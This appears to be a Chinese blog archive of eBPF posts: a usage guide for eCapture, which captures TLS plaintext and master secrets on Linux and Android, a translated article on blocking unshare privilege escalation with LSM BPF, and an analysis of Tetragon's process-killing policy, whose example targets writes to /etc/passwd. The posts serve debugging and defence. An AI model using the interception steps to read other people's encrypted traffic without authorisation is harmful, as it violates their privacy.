支持BPF,可选支持BTF(eCapture版本不同) root权限 版本选择 BPF CO-RE特性为BTF通用的格式,用于做跨内核版本兼容。有的Android手机是没开启BTF。可以查看系统配置确认,CONFIG_DEBUG_INFO_BTF=y为开启;CONFIG_DEBUG_INFO_BTF=n为关闭;其他为不支持BPF,无法使用eCapture。 cfc4n@vm-server:~$# cat /boot/config-`uname -r` | grep CONFIG_DEBUG_INFO_BTF CONFIG_DEBUG_INFO_BTF=y Android系统上,config是gzip压缩的,且配置文件目录也变了。可使用zcat /proc/config.gz命令代替。 eCapture默认发行了支持CO-RE的ELF程序。Android版会发行一个5.4内核不支持BTF(即没有CO-RE)的版本。 下载后,可以通过./ecapture -v确认。 非CO-RE版本的version信息中包含编译时的内核版本。 # no CO-RE eCapture version: linux_aarch64:0.4.2-20220906-fb34467:5.4.0-104-generic # CO-RE eCapture version: linux_aarch64:0.4.2-20220906-fb34467:[CORE] 若版本不符合自己需求,可以自行编译,步骤见文末。 全局参数介绍 全局参数重点看如下几个 root@vm-server:/home/cfc4n/# ecapture -h --hex[=false] print byte strings as hex encoded strings -l, --log-file="" -l save the packets to file -p, --pid=0 if pid is 0 then we target all pids -u, --uid=0 if uid is 0 then we target all users --hex 用于stdout输出场景,展示结果的十六进制,用于查看非ASCII字符,在内容加密、编码的场景特别有必要。 -l, --log-file= 保存结果的文件路径。 -p, --pid=0 捕获的目标进程,默认为0,则捕获所有进程。 -u, --uid=0 捕获的目标用户,默认为0,则捕获所有用户,对Android来说,是很需要的参数。 模块参数 root@vm-server:/home/cfc4n/project/ssldump# bin/ecapture tls -h OPTIONS: --curl="" curl or wget file path, use to dectet openssl.so path, default:/usr/bin/curl --firefox="" firefox file path, default: /usr/lib/firefox/firefox. --gnutls="" libgnutls.so file path, will automatically find it from curl default. --gobin="" path to binary built with Go toolchain. -h, --help[=false] help for tls -i, --ifname="" (TC Classifier) Interface name on which the probe will be attached. --libssl="" libssl.so file path, will automatically find it from curl default. --nspr="" libnspr44.so file path, will automatically find it from curl default. --port=443 port number to capture, default:443. --pthread="" libpthread.so file path, use to hook connect to capture socket FD.will automatically find it from curl. --wget="" wget file path, default: /usr/bin/wget. -w, --write="" write the raw packets to file as pcapng format. -i参数 -i参数为网卡的名字,Linux上默认为eth0,Android上默认为wlan0,你可以用这个参数自行指定。 输出模式 输出格式支持两种格式,文本跟pcapng文件。有三个参数, 默认,全局参数,输出文本结果到stdout -l 全局参数,保存文本结果的文件路径 -w 仅tls模块参数,保存pcapng结果的文件路径 类库路径 Linux上支持多种类库,不同类库的路径也不一样。 类库 参数路径 默认值 openssl/boringssl --libssl Linux自动查找,Android为/apex/com.android.conscrypt/lib64/libssl.so gnutls --gnutls Linux自动查找,Android pcapng模式暂未支持 nspr/nss --nspr Linux自动查找,Android pcapng模式暂未支持 文本模式 -l 或者不加 -w 参数将启用该模式。 支持openssl、boringssl、gnutls、nspr/nss等多种TLS加密类库。 支持DTLS、TLS1.0至TLS1.3等所有版本的加密协议。 支持-p、-u等所有全局过滤参数。 pcapng模式 -w 参数启用该模式,并用-i选择网卡名,Linux系统默认为eth0,Android系统默认为wlan0, 仅支持openssl、boringssl两个类库的数据捕获。暂不支持TLS 1.3协议。 类库与参数支持 在Linux系统上,大部分类库与参数都是可以支持的。但在Android系统上,因为内核与ARM架构的原因,支持的参数上,有一定的差异。 不同模式的参数支持 -p、-u两个全局参数,支持文本模式,不支持pcapng模式。这是因为pcapng模式是使用eBPF TC技术实现。 模式 -p -u --libsso --port 文本 ✅ ✅ ✅ ✅ pcapng ❌ ❌ ✅ ✅ 不同模式的类库以协议支持 模式 openssl(类库) boringssl(类库) TLS 1.0/1.1/1.2(协议) TLS 1.3(协议) 文本 ✅ ✅ ✅ ✅ pcapng ✅ ✅ ✅ ❌ pcapng模式暂时不支持TLS 1.3,TLS 1.3密钥捕获功能已经开发完成,只是遇到一些BUG,还在解决中。 笔者不是openssl的专家,对TLS 协议也不太熟。需要补充这两块的知识,解决起来成本比较高,也欢迎对这块擅长的朋友一起来解决。 与tcpdump联合使用 eCapture基于eBPF TC,实现了流量捕获,并保存到pcapng文件中。基于eBPF Uprobe实现了TLS Master Secret的捕获。并基于Wireshark的Decryption Secrets Block (DSB)标准,实现了gopacket的DSB功能,合并网络包与密钥,保存到pcapng中。 eCapture在网络包捕获上,没有tcpdump强大,不支持丰富的参数。你可以用eCapture捕获master secrets,用tcpdump捕获网络包,然后使用wiresahrk自定义设置密钥文件,配合使用。 网络包捕获 tcpdump 的常规用法,不再赘述。 密钥捕获 同时启用ecapture ,模式可以选文本或者pcapng,都会保存TLS的master secrets密钥数据到ecapture_masterkey.log中。 网络包查看 用Wireshark打开网络包文件,设置这个master key文件,之后就可以看到TLS解密后的明文了。 配置路径:Wireshark --> Preferences --> Protocols --> TLS --> (Pre)-Master-Secret log filename 参数 指定路径 默认路径 在Android上,Google使用了boring ssl类库,也就是C++语言在libssl基础上的包装。默认情况下,会使用/apex/com.android.conscrypt/lib64/libssl.so路径。 APP的类库确认 你可以使用lsof -p {APP PID}|grep libssl来确认。 若不是默认路径,则可以使用--libssl参数来指定。 高级用法 如果你需要查看的APP是自定义SSL类库,那么你可以自助修改eCapture来实现。 自定义函数名与offset 首先,需要确定HOOK函数的函数名或者符号表地址。 没有源码 如果你没有类库源码可以通过IDA等软件静态分析、动态调试,确定SSL Write的地址offset。在配置填写在user/module/probe_openssl.go文件中,对应的probe配置部分。 { Section: "uprobe/SSL_write", EbpfFuncName: "probe_entry_SSL_write", AttachToFuncName: "SSL_write", UprobeOffset: 0xFFFF00, // TODO BinaryPath: binaryPath, }, offset自动计算 如果你有源码,则可以自行阅读源码确定函数名或者符号表的地址。对于结构体的成员属性读取,则可以通过offsetof宏来自动计算。 // g++ -I include/ -I src/ ./src/offset.c -o off #include <stdio.h> #include <stddef.h> #include <ssl/internal.h> #include <openssl/base.h> #include <openssl/crypto.h> #define SSL_STRUCT_OFFSETS \ X(ssl_st, session) \ X(ssl_st, s3) \ X(ssl_session_st, secret) \ X(ssl_session_st, secret_length) \ X(bssl::SSL3_STATE, client_random) \ X(bssl::SSL_HANDSHAKE, new_session) \ X(bssl::SSL_HANDSHAKE, early_session) \ X(bssl::SSL3_STATE, hs) \ X(bssl::SSL3_STATE, established_session) \ X(bssl::SSL_HANDSHAKE, expected_client_finished_) struct offset_test { /* data */ int t1; bssl::UniquePtr<SSL_SESSION> session; }; int main() { printf("typedef struct ssl_offsets { // DEF \n"); #define X(struct_name, field_name) \ printf(" int " #struct_name "_" #field_name "; // DEF\n"); SSL_STRUCT_OFFSETS #undef X printf("} ssl_offsets; // DEF\n\n"); printf("/* %s */\nssl_offsets openssl_offset_%d = { \n", OPENSSL_VERSION_TEXT, OPENSSL_VERSION_NUMBER); #define X(struct_name, field_name) \ printf(" ." #struct_name "_" #field_name " = %ld,\n", \ offsetof(struct struct_name, field_name)); SSL_STRUCT_OFFSETS #undef X printf("};\n"); return 0; } 参数提取 对于参数,你需要确认被HOOK函数的参数类型,以便确认读取方式,可以参考kern/openssl_kern.c内的SSL_write函数实现。 编译 ARM Linux 编译 公有云厂商大部分都提供了ARM64 CPU服务器,笔者选择了腾讯云的。在广州六区中,名字叫标准型SR1(SR1即ARM 64CPU),最低配的SR1.MEDIUM2 2核2G即满足编译环境。可以按照按量计费方式购买,随时释放,比较划算。 操作系统选择ubuntu 20.04 arm64。 ubuntu@VM-0-5-ubuntu:~$sudo apt-get update ubuntu@VM-0-5-ubuntu:~$sudo apt-get install --yes wget git build-essential pkgconf libelf-dev llvm-12 clang-12 linux-tools-generic linux-tools-common ubuntu@VM-0-5-ubuntu:~$wget https://golang.google.cn/dl/go1.18.linux-arm64.tar.gz ubuntu@VM-0-5-ubuntu:~$sudo rm -rf /usr/local/go && sudo tar -C /usr/local -xzf go1.18.linux-arm64.tar.gz ubuntu@VM-0-5-ubuntu:~$for tool in "clang" "llc" "llvm-strip" do sudo rm -f /usr/bin/$tool sudo ln -s /usr/bin/$tool-12 /usr/bin/$tool done ubuntu@VM-0-5-ubuntu:~$export GOPROXY=https://goproxy.cn ubuntu@VM-0-5-ubuntu:~$export PATH=$PATH:/usr/local/go/bin 编译方法 ANDROID=1 make 命令编译支持core版本的二进制程序。 ANDROID=1 make nocore命令编译仅支持当前内核版本的二进制程序。 当Wireshark被eBPF增强 Wireshark + eBPF = eCapture 贡献者 感谢chriskaliX 、chenhengqi、vincentmli、huzai9527、yihong0618、sfx(4ft35t)等朋友的贡献。 感谢tiann Weishu在Android这个需求上的推动。 招聘 Leader直招,没有中间商赚差价。面向RASP、HIDS产品,JVM、Linux内核入侵检测等安全研发职位 JAVA资深研发工程师 golang高级工程师 更多职位见 https://www.cnxct.com/jobs/ 2022-09-13 4 0
eBPF网络程序新手指南 By Liz Rice 前言 机翻 本视频转载Liz Rice在昨天(7月10日)的油管直播。原来视频地址youtu.be/l5l2EckwWME[1]。 笔者使用相关工具进行语音提取、转英文字幕,再自动翻译成中文字幕。时间短,工作量大。涉及音轨准确性、字幕与时间矫正等困难,视频有很多问题,请大家理解。英语好的同学可以无视字幕。 视频介绍 eBPF被称为为“Linux的超级明星”,最近我们看到大量工具使用它来支持云原生领域的服务网格、可观察性和安全性。 这是一项令人兴奋的技术,可以直接在内核中运行自定义程序。 在本次演讲中,Liz Rice在线敲代码,演示eBPF 程序如何在内核中加载、运行,以及如何附加到各种网络事件。本视频侧重于网络示例,深入了解 eBPF 程序如何检查和修改数据包,以形成复杂和高性能网络服务。 数据包流程图 视频内容 补充阅读 告别Sidecar——使用eBPF解锁内核级服务网格 Cilium eBPF实现机制源码分析 How to drop a packet in Linux in more ways than one[2] Packet flow in Netfilter and General Networking[3] 参考资料 [1] youtu.be/l5l2EckwWME: youtu.be/l5l2EckwWME [2] How to drop a packet in Linux in more ways than one: https://codilime.com/blog/how-to-drop-a-packet-in-linux-in-more-ways-than-one/ [3] Packet flow in Netfilter and General Networking: https://upload.wikimedia.org/wikipedia/commons/3/37/Netfilter-packet-flow.svg 2022-07-11 0 0
使用eBPF LSM热修复Linux内核漏洞 译者注 原文链接:Live-patching security vulnerabilities inside the Linux kernel with eBPF Linux Security Module 前段时间,我们讨论了Tetragon产品实时阻断能力的实现原理,那你知道它为什么没选择eBPF LSM吗? 系统内核版本要求是最大限制,eBPF LSM需要5.7以后版本。但对于安全产品,阻断一个函数的调用,远比杀死一个进程影响要小。bpf_send_signal颗粒度是进程,eBPF LSM的颗粒度是函数,更精确。除此之外,控制范围也不一样,可以对函数调用堆栈做调整,达到替换执行的目标函数。业务场景就是内核漏洞的热更新了。 而本文就是一个简单的eBPF LSM实现思路,核心内容是确定精准HOOK点的思路。怎么找HOOK点?HOOK点挂载后,对性能影响是什么?如何做权衡?接下来,我们一起了解一下。 前言 Linux Security Modules(LSM)是一个钩子的基于框架,用于在Linux内核中实现安全策略和强制访问控制。 直到现在,能够实现实施安全策略目标的方式只有两种选择,配置现有的LSM模块(如AppArmor、SELinux),或编写自定义内核模块。 Linux Kernel 5.7引入了第三种方式:LSM扩展伯克利包过滤器(eBPF)(简称BPF LSM)。 LSM BPF允许开发人员编写自定义策略,而无需配置或加载内核模块。 LSM BPF程序在加载时被验证,然后在调用路径中,到达LSM钩子时被执行。 实践出真知 Namespaces 命名空间 现代操作系统提供了允许对内核资源进行partitioning的工具。 例如FreeBSD有jails,Solaris有zones。 Linux是不同的—它提供了一组看似独立的工具,每个进程都允许隔离特定的资源。 他就是Namespaces,经过多年来不停迭代,孕育了Docker、lxc、firejail应用。 大部分Namespaces是没有争议的,如UTS命名空间,它允许主机系统隐藏主机名和时间。其他的则比较复杂但简单明了————众所周知,NET和NS(mount)命名空间很难让人理解。最后,还有一个非常特殊、非常有趣的USER Namespaces。 USER Namespaces很特别,因为它允许所有者作为root操作。其工作原理超出了本文的范围,但是,可以说它是让Docker等工具不作为真正的root操作,或者说是rootless容器。 由于其特性,允许未授权用户访问USER Namespaces总是会带来很大的安全风险。其中最大的风险是提权。 提权原理 提权是操作系统的常见攻击面。 user获得权限的一种方法是通过unshare syscall将其命名空间映射到root空间,并指定CLONE_NEWUSER标志。 这会告诉unshare创建一个具有完全权限的新用户命名空间,并将新用户和Group ID映射到以前的命名空间。 即使用unshare(1)程序将root映射到原始命名空间: $ id uid=1000(fred) gid=1000(fred) groups=1000(fred) … $ unshare -rU # id uid=0(root) gid=0(root) groups=0(root),65534(nogroup) # cat /proc/self/uid_map 0 1000 1 多数情况下,使用unshare是没有风险的,都是以较低的权限运行。 但是,已经被用于提权了,比如CVE-2022-0492,那么本文就重点以这个场景为例。 Syscalls clone和clone3也很值得研究,都有CLONE_NEWUSER的功能。但在这篇文章中,我们将重点关注unshare。 Debian用add sysctl to disallow unprivileged CLONE_NEWUSER by default补丁解决了这个问题,但它没有被合并到源码mainline主线中。另一个类似的补丁"sysctl: allow CLONE_NEWUSER to be disabled"尝试合并到mainline,但被拒绝了。理由是在某些特定应用中无法切换到该特性。 在Controlling access to user namespaces一文中,作者写道: ... 目前的补丁似乎没有一条通往mainline主线的捷径。 如你所示,补丁最终没有包含到vanilla内核中。 我们的解决方案LSM BPF 基于上面一些经验,可以看到限制USER Namespaces的代码似乎行不通,我们决定使用LSM BPF来规避这些问题。并且不需要修改内核,还可以自定义检测防御的规则。 寻找合适的候选钩子 首先,让我们跟踪我们的目标系统调用。 我们可以在include/linux/syscalls.h文件中找到原型。 /* kernel/fork.c */ 很清晰的看到,在kernel/fork.c文件中,注释部分中留下了下一个位置的线索。 在ksys_unshare()那里调用。深入研究该函数,发现了一个对unshare_userns()的调用。这让我看到了希望。 现在,我们已经确定了syscall实现,但是接下来的问题是用哪些钩子?怎么选择合适的钩子? 从man-pages中了解到unshare用于改变task,那么,我们重点关注include/linux/lsm_hooks.h中的关于task的钩子。 在函数unshare_userns()中,可以找到对prepare_creds()的调用。对于cred_prepare的HOOK来说看上去不看。 为了验证对prepare_creds()的理解是否正确,接下来继续分析security_prepare_creds()的调用,可以确认,其最终会调用这个HOOK: … rc = call_int_hook(cred_prepare, 0, new, old, gfp); … 暂不过多讨论这个问题,现在能确认的是这个HOOK比较合适,因为prepare_creds()正好在unshare_userns()中的create_user_ns()之前被调用,而unshare_userns()是我们试图阻止的操作。 LSM BPF解决方案 我们将使用eBPF编译一次到处运行(CO-RE)的方法对代码进行编译。 在不同版本内核的IDC中,会特别适用。(不过,国内外大部分五至十年的互联网公司,都有着大量低于5.0的内核版本)。本文的演示,将只对x86_64 CPU架构系统验证。ARM64的LSM BPF仍在开发中。你可以订阅BPF邮件列表来了解最新进展。 此解决方案在Kernel Version >=5.15上进行了测试,配置如下: BPF_EVENTS BPF_JIT BPF_JIT_ALWAYS_ON BPF_LSM BPF_SYSCALL BPF_UNPRIV_DEFAULT_OFF DEBUG_INFO_BTF DEBUG_INFO_DWARF_TOOLCHAIN_DEFAULT DYNAMIC_FTRACE FUNCTION_TRACER HAVE_DYNAMIC_FTRACE 如果CONFIG_LSM列表中不包含bpf,则需要你自己重新编译,并开启lsm=bpf选项. 内核空间代码 开始看内核空间代码:deny_unshare.bpf.c: #include <linux/bpf.h> #include <linux/capability.h> #include <linux/errno.h> #include <linux/sched.h> #include <linux/types.h> #include <bpf/bpf_tracing.h> #include <bpf/bpf_helpers.h> #include <bpf/bpf_core_read.h> #define X86_64_UNSHARE_SYSCALL 272 #define UNSHARE_SYSCALL X86_64_UNSHARE_SYSCALL CO-RE 接下来,我们以下列方式为CO-RE重新定位建立必要的结构: deny_unshare.bpf.c: … typedef unsigned int gfp_t; struct pt_regs { long unsigned int di; long unsigned int orig_ax; } __attribute__((preserve_access_index)); typedef struct kernel_cap_struct { __u32 cap[_LINUX_CAPABILITY_U32S_3]; } __attribute__((preserve_access_index)) kernel_cap_t; struct cred { kernel_cap_t cap_effective; } __attribute__((preserve_access_index)); struct task_struct { unsigned int flags; const struct cred *cred; } __attribute__((preserve_access_index)); char LICENSE[] SEC("license") = "GPL"; … 我们不需要完全充实 struct 的细节,只需提供程序正常运行所需信息的绝对下限。CO-RE 将执行为内核执行调整所需的任何操作。这样就可以很轻松地编写 LSM BPF 程序! // deny_unshare.bpf.c: SEC("lsm/cred_prepare") int BPF_PROG(handle_cred_prepare, struct cred *new, const struct cred *old, gfp_t gfp, int ret) { struct pt_regs *regs; struct task_struct *task; kernel_cap_t caps; int syscall; unsigned long flags; // If previous hooks already denied, go ahead and deny this one if (ret) { return ret; } task = bpf_get_current_task_btf(); regs = (struct pt_regs *) bpf_task_pt_regs(task); // In x86_64 orig_ax has the syscall interrupt stored here syscall = regs->orig_ax; caps = task->cred->cap_effective; // Only process UNSHARE syscall, ignore all others if (syscall != UNSHARE_SYSCALL) { return 0; } // PT_REGS_PARM1_CORE pulls the first parameter passed into the unshare syscall flags = PT_REGS_PARM1_CORE(regs); // Ignore any unshare that does not have CLONE_NEWUSER if (!(flags & CLONE_NEWUSER)) { return 0; } // Allow tasks with CAP_SYS_ADMIN to unshare (already root) if (caps.cap[CAP_TO_INDEX(CAP_SYS_ADMIN)] & CAP_TO_MASK(CAP_SYS_ADMIN)) { return 0; } return -EPERM; } 第一步是创建程序,第二步是加载程序并附加到我们所需的钩子上。 用户空间 加载程序并将其附加到目标的钩子上是用户空间的功能。有几种方法可以做到这一点: Cilium ebpf项目 Rust bindings ebpf.io项目landscape展示的其他类库 这里,我们将使用原生libbpf。 #include <bpf/libbpf.h> #include <unistd.h> #include "deny_unshare.skel.h" static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args) { return vfprintf(stderr, format, args); } int main(int argc, char *argv[]) { struct deny_unshare_bpf *skel; int err; libbpf_set_strict_mode(LIBBPF_STRICT_ALL); libbpf_set_print(libbpf_print_fn); // Loads and verifies the BPF program skel = deny_unshare_bpf__open_and_load(); if (!skel) { fprintf(stderr, "failed to load and verify BPF skeleton\n"); goto cleanup; } // Attaches the loaded BPF program to the LSM hook err = deny_unshare_bpf__attach(skel); if (err) { fprintf(stderr, "failed to attach BPF skeleton\n"); goto cleanup; } printf("LSM loaded! ctrl+c to exit.\n"); // The BPF link is not pinned, therefore exiting will remove program for (;;) { fprintf(stderr, "."); sleep(1); } cleanup: deny_unshare_bpf__destroy(skel); return err; } Makefile 最后,进行编译,这里使用Makefile CLANG ?= clang-13 LLVM_STRIP ?= llvm-strip-13 ARCH := x86 INCLUDES := -I/usr/include -I/usr/include/x86_64-linux-gnu LIBS_DIR := -L/usr/lib/lib64 -L/usr/lib/x86_64-linux-gnu LIBS := -lbpf -lelf .PHONY: all clean run all: deny_unshare.skel.h deny_unshare.bpf.o deny_unshare run: all sudo ./deny_unshare clean: rm -f *.o rm -f deny_unshare.skel.h # # BPF is kernel code. We need to pass -D__KERNEL__ to refer to fields present # in the kernel version of pt_regs struct. uAPI version of pt_regs (from ptrace) # has different field naming. # See: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=fd56e0058412fb542db0e9556f425747cf3f8366 # deny_unshare.bpf.o: deny_unshare.bpf.c $(CLANG) -g -O2 -Wall -target bpf -D__KERNEL__ -D__TARGET_ARCH_$(ARCH) $(INCLUDES) -c $< -o $@ $(LLVM_STRIP) -g $@ # Removes debug information deny_unshare.skel.h: deny_unshare.bpf.o sudo bpftool gen skeleton $< > $@ deny_unshare: deny_unshare.c deny_unshare.skel.h $(CC) -g -Wall -c $< -o $@.o $(CC) -g -o $@ $(LIBS_DIR) $@.o $(LIBS) .DELETE_ON_ERROR: 结果 打开一个新终端,运行命令 $ make run … LSM loaded! ctrl+c to exit. 在另一个终端里,可以看到成功的被阻止了。 $ unshare -rU unshare: unshare failed: Cannot allocate memory $ id uid=1000(fred) gid=1000(fred) groups=1000(fred) … 这个策略还有一项始终允许特权通过的功能。 $ sudo unshare -rU # id uid=0(root) gid=0(root) groups=0(root) 在无特权场景中,系统调用会提前中止。 有特权情况下的性能影响是什么? 性能对比 我们将使用一行unshare命令来映射用户命名空间,并在中执行一个命令来进行测量: $ unshare -frU --kill-child -- bash -c "exit 0" 使用系统调用unshare enter/exit的CPU周期间隔,我们将以root用户身份测量以下内容: 命令在没有策略的情况下运行 与策略一起运行的命令 我们将使用ftrace记录测量结果: $ sudo su # cd /sys/kernel/debug/tracing # echo 1 > events/syscalls/sys_enter_unshare/enable ; echo 1 > events/syscalls/sys_exit_unshare/enable 此时,我们将专门为unshare启用对系统调用enter/exit的跟踪。 现在,我们设置enter/exit调用的time-resolution来计算CPU周期: # echo 'x86-tsc' > trace_clock 接下来,我们开始评测 # unshare -frU --kill-child -- bash -c "exit 0" & [1] 92014 在新终端里运行策略,执行下一个syscall # unshare -frU --kill-child -- bash -c "exit 0" & [2] 92019 现在,我们收集到两种CALLS结果进行对比 # cat trace # tracer: nop # # entries-in-buffer/entries-written: 4/4 #P:8 # # _-----=> irqs-off # / _----=> need-resched # | / _---=> hardirq/softirq # || / _--=> preempt-depth # ||| / _-=> migrate-disable # |||| / delay # TASK-PID CPU# ||||| TIMESTAMP FUNCTION # | | | ||||| | | unshare-92014 [002] ..... 762950852559027: sys_unshare(unshare_flags: 10000000) unshare-92014 [002] ..... 762950852622321: sys_unshare -> 0x0 unshare-92019 [007] ..... 762975980681895: sys_unshare(unshare_flags: 10000000) unshare-92019 [007] ..... 762975980752033: sys_unshare -> 0x0 分别是: unshare-92014 used 63294 cycles. unshare-92019 used 70138 cycles. 两次测量之间有6,844(~10%)个周期损失。不错嘛! 这些数字是针对单个系统调用的,代码调用的频率越高,这些数字就越多。 Unshare通常在任务创建时调用,在程序的正常执行期间不会重复调用。 对于你的场景,需要仔细考虑评估。 结尾 我们了解了LSM BPF是什么,如何使用unshare将user映射到root,以及如何通过在eBPF中实现程序来解决真实场景的问题。跟踪准确的钩子不是一件容易的事,需要有丰富的编码经验,以及丰富的内核知识。 这些策略代码是用C语言编写的,所以我们可以因地制宜,不同的问题做不同的策略,代码轻微调整,就可以快速扩展,增加其他钩子点等。最后,我们对比了这个LSM程序的性能影响,性能与安全的权衡,是你需要考虑的问题。 Cannot allocate memory(无法分配内存)不是拒绝权限的最准确的描述。 我们提出了一个补丁,用于将错误代码从cred_prepare挂钩传到调用堆栈。 最后,我们的结论就是eBPF LSM钩子非常适合实时修复Linux内核漏洞,你要来试试吗? 2022-06-30 2 0
eCapture的几个好消息,支持Android… 缘起 这个故事要从上海的疫情说起。 三月份,上海爆发了疫情。全市开始封城,停工停课,所有人都不得不居家防疫。离不了家门,意味着空闲时间增多了,也正好可以利用一下,做个小项目之类的。 也正巧,前段时间研究了eBPF攻防的技术,而技术的应用场景最广泛的就是跟踪调试了。广大研发、运维同学们面临的最大场景就是网络抓包,恰恰大量数据包都是HTTPS加密的,这就称为多数人的痛点,那么结合eBPF技术,可以很好的解决这一痛点。 说干就干,三月中旬就发了初版eCapture:无需CA证书抓https网络明文通讯,随着上海封城的持续,空闲时间也多,项目也逐步完善,支持4.X至5.X的内核版本。 最近呢,复工复产了,空闲时间就少了,不过,近期搞到凌晨一两点的情况也是常态。不能半途而废不是嘛。 进展 这几天,有几个好消息分享给大家,有的是付出得到的回报,有的是项目的新功能。 ebpf.io 收录 eCapture项目被 ebpf.io 官网收录了 ,在「Emerging新兴项目」中,暂排第一。是按照Star数量来的,项目复杂度、技术深度不如其他项目,但实用性比较大,深受大家喜欢。 eCapture for Android eCapture也支持了Android的GKI发型版本,你在eCapture v0.1.10 release (Linux x86_64/aarch64, Android GKI)中下载试用。 也就是说,Android 11,Android 12的版本都支持。 4.X内核的Android支持,还会远吗? 有位同学告诉我说,这会让反爬的同学受到很大挑战,eBPF的抓包,APP层很难发现,APP自身没有特征,也很难防御。 我不这么看,我觉得风控对抗上,核心点不该只在端上对抗,而应该在数据分析、好人坏人识别等方向上。地理位置、网络环境、设备型号等问题可以更加综合的考虑。 另外,可以再思考一个问题,这意味着什么? 意味着Linux上的eBPF功能都可以在Android上使用,各种网络管理、监控软件、安全保护等,甚至后门。你觉得,还有什么场景呢? 演示视频 付上一个eCapture for Android的演示视频,是TaiChi Xposed框架作者 weishu 大佬帮测试的,我没有Android手机,对Android生态也不了解,感谢weishu在这个事情上的支持。 eCapture中文名旁观者 eCapture有了中文名,叫「旁观者」,即「当局者迷,旁观者清」,与其本身功能【旁路、观察】契合,且发音与英文有相似之处。 是不是有点信雅达呢? 要不,您给起个名? 加入贡献 现在,还缺少一个官方网站,或者融合中文含义的新LOGO,如有对eCapture开源项目感兴趣的设计师、UI前端工程师,愿意帮助项目设计新页面、新LOGO的同学,可以在微信公众号内留言,我会私聊你,谢谢。 红领巾 又为社会做了一点点贡献,胸前的红领巾更加鲜艳了。 2022-06-22 1 0
Tetragon进程阻断原理 TL;DR 文章较长,代码很多,可直接拖到文末看讲解视频。 背景 在云原生领域中,Cilium是容器管理上最著名的网络编排、可观察性、网络安全的开源软件。基于革命性技术eBPF实现,并用XDP、TC等功能实现了L3、L4层的防火墙、负载均衡软件,具备优秀的网络安全处理能力,但在运行时安全上,Cilium一直是缺失的。 2022年5月,在欧洲举行的KubeCon技术峰会期间,Cilium的母公司Isovalent发布了云原生运行时防护系统Tetragon,填补这一空缺。 Tetragon的面世,意味着与falco、tracee、KubeArmor、datadog-agent等几款产品正面竞争,eBPF运行时防护领域愈加内卷。 Tetragon介绍 摘自Tetragon官方仓库的产品介绍。 eBPF实时性 Tetragon 是一个运行时安全实时和可观察性工具。它直接在内核中对事件做相应动作,比如执行过滤、阻止,无需再将事件发送到用户空间处理。 对于可观察性用例,直接在内核中应用过滤器会大大减少观察开销。避免昂贵的上下文切换,尤其是对于高频事件,例如发送、读取或写入操作,减少了大量的内存、CPU等资源。 同时,Tetragon提供了丰富的过滤器(文件、套接字、二进制名称、命名空间等),允许用户筛选重要且相关的事件,并传递给用户空间。 eBPF灵活性 Tetragon 可以挂载到Linux Kernel中的任何函数,并过滤其参数、返回值、进程元数据(例如,可执行文件名称)、文件和其他属性。 跟踪策略 通过编写跟踪策略,用户可以解决各种安全性和可观察性用例。Tetragon社区中,提供了一些常见的跟踪策略,可以解决大部分的可观察性和安全用例。 用户也可以创建新的规则策略部署,自定义配置文件,以满足业务需求。 eBPF 内核感知 Tetragon 通过eBPF钩子感知Linux Kernel状态,并将状态与Kubernetes用户策略相结合,以创建由内核实时执行的规则,来增强云原生场景的安全防护功能。例如,当容器内恶意程序更改其权限时,我们可以创建一个策略来触发警报,甚至在进程有机会完成系统调用并可能运行其他系统调用之前终止该进程。 Tetragon阻断实现原理 以上是Tetragon官方的介绍,提到具备阻断能力,并在技术峰会上,展示了相关阻断的截图,有必要了解一下其实现原理。 tetragon的运行原理会在下篇详细介绍,本篇主要讲实时阻断原理。本文分析的代码版本为首次发布的tag v0.8.0 ,commit ID:75e49ab。 业界常见方式 LKM的内核模块、LD_PRELOAD的动态链接库修改、基于LSM的selinux、seccomp技术等都是常见做内核态/用户态运行时阻断的技术方案,而缺点就比较明显,系统稳定性、规则灵活性、变更周期等问题比较突出。 当然,也有使用内核模块方式。方法是把eBPF特性,封装在内核模块里,再安装到老版本的内核上,这样,就可以覆盖更多内核版本了。但backport新特性的做法在社区里很不推荐,维护成本特别高,需要比较大的内核研发团队与深厚的技术功底。。 云原生生态中,CNCF的项目Falco具备内核模块与eBPF探针两套驱动引擎,提供数据收集能力。同类产品Tracee也是,还基于LSM接口,实现了一定的防御阻断能力,同时支持使用者自定义语法配置文件,进行检测、判断、阻断规则的修改快速更新,以达到更好的防御能力。 作为云原生领域的容器管理软件领头羊,Cilium也会落后,但Linux Security Module钩子(以下简称LSM)需要Linux Kernel 5.7以上版本,而业界多数内核版本都不会这么新。Cilium有没有使用LSM类HOOK进行阻断呢?我们一起来看一下。 配置文件 前面提到,Tetragon灵活性更高,可以读取配置文件规则,应用到内核态。以代码仓库的crds/examples/open_kill.yaml为例,语法规则分为如下几部分 kprobe函数名 函数原型参数 进程过滤配置 参数过滤配置 执行动作 其中,matchActions字段为匹配后的执行动作,比如这里的Sigkill - call: "__x64_sys_write" syscall: true args: - index: 0 type: "fd" - index: 1 type: "char_buf" sizeArgIndex: 3 - index: 2 type: "size_t" selectors: - matchPIDs: - operator: NotIn followForks: true isNamespacePID: true values: - 0 - 1 matchArgs: - index: 0 operator: "Prefix" values: - "/etc/passwd" matchActions: - action: Sigkill yaml配置文件的解析在pkg/k8s/apis/cilium.io/v1alpha1/types.go中的TracingPolicySpec结构体中,包含KProbeSpec和TracepointSpec, 对应json:"kprobes"和json:"tracepoints"两个json的结构。 type TracingPolicySpec struct { // +kubebuilder:validation:Optional // A list of kprobe specs. KProbes []KProbeSpec `json:"kprobes"` // +kubebuilder:validation:Optional // A list of tracepoint specs. Tracepoints []TracepointSpec `json:"tracepoints"` } 同时,Tetragon还支持远程下发配置,配置结构与yaml结构是一样的。这里相比传统的内核模块等技术方案,灵活性更高。 用户空间 详细执行流程会在下篇分享,直入主题。 数据结构 在项目中,抽象出一些概念: Tetragon由多个Sensors传感器构成 Sensor由多个Programs和Maps构成 每个Program对应eBPF代码的HOOK函数 每个Map是相应Program的bpf的数据交互map // Program reprents a BPF program. type Program struct { // Name is the name of the BPF object file. Name string // Attach is the attachment point, e.g. the kernel function. Attach string // Label is the program section name to load from program. Label string // PinPath is the pinned path to this program. Note this is a relative path // based on the BPF directory FGS is running under. PinPath string // RetProbe indicates whether a kprobe is a kretprobe. RetProbe bool // ErrorFatal indicates whether a program must load and fatal otherwise. // Most program will set this to true. For example, kernel functions hooks // may change across verions so different names are attempted, hence // avoiding fataling when the first attempt fails. ErrorFatal bool // Needs override bpf program Override bool // Type is the type of BPF program. For example, tc, skb, tracepoint, // etc. Type string LoadState State // TraceFD is needed because tracepoints are added different than kprobes // for example. The FD is to keep 